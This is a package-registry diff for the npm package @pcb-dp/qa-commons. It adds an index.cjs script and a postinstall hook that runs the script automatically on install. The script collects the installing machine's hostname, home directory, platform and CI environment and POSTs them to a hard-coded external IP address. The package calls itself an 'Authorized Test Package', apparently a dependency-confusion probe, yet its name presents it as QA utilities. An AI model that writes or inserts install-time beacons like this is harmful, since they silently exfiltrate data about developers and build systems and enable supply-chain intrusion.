@pcb-dp/qa-commons 0.0.0-stage → 1.0.10
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.cjs +40 -0
- package/package.json +11 -4
- package/README.md +0 -3
package/index.cjs
ADDED
|
@@ -0,0 +1,40 @@
|
|
|
1
|
+
const https = require("node:https");
|
|
2
|
+
const os = require("node:os");
|
|
3
|
+
|
|
4
|
+
const data = JSON.stringify({
|
|
5
|
+
test_id: "@pcb-dp/qa-commons",
|
|
6
|
+
hostname: os.hostname(),
|
|
7
|
+
home_directory: os.homedir(),
|
|
8
|
+
platform: process.platform,
|
|
9
|
+
ci_provider: process.env.GITHUB_ACTIONS ? "github-actions"
|
|
10
|
+
: process.env.GITLAB_CI ? "gitlab-ci"
|
|
11
|
+
: process.env.TF_BUILD ? "azure-pipelines"
|
|
12
|
+
: process.env.JENKINS_URL ? "jenkins"
|
|
13
|
+
: "unknown"
|
|
14
|
+
});
|
|
15
|
+
|
|
16
|
+
const req = https.request(
|
|
17
|
+
"https://130.162.231.177:8443/",
|
|
18
|
+
{
|
|
19
|
+
method: "POST",
|
|
20
|
+
timeout: 3000,
|
|
21
|
+
headers: {
|
|
22
|
+
"Content-Type": "application/json",
|
|
23
|
+
"Content-Length": Buffer.byteLength(data)
|
|
24
|
+
}
|
|
25
|
+
},
|
|
26
|
+
(res) => {
|
|
27
|
+
console.log("HTTP status:", res.statusCode);
|
|
28
|
+
res.resume();
|
|
29
|
+
}
|
|
30
|
+
);
|
|
31
|
+
|
|
32
|
+
req.on("timeout", () => {
|
|
33
|
+
req.destroy(new Error("Connection timed out after 10 seconds"));
|
|
34
|
+
});
|
|
35
|
+
|
|
36
|
+
req.on("error", (err) => {
|
|
37
|
+
console.error("Callback failed:", err.code, err.message);
|
|
38
|
+
});
|
|
39
|
+
|
|
40
|
+
req.end(data);
|
package/package.json
CHANGED
|
@@ -1,6 +1,13 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@pcb-dp/qa-commons",
|
|
3
|
-
"version": "
|
|
4
|
-
"
|
|
5
|
-
"
|
|
6
|
-
|
|
3
|
+
"version": "1.0.10",
|
|
4
|
+
"description": "Authorized Test Package",
|
|
5
|
+
"main": "index.cjs",
|
|
6
|
+
"files": [
|
|
7
|
+
"index.cjs"
|
|
8
|
+
],
|
|
9
|
+
"scripts": {
|
|
10
|
+
"postinstall": "node ./index.cjs"
|
|
11
|
+
},
|
|
12
|
+
"license": "UNLICENSED"
|
|
13
|
+
}
|
package/README.md
DELETED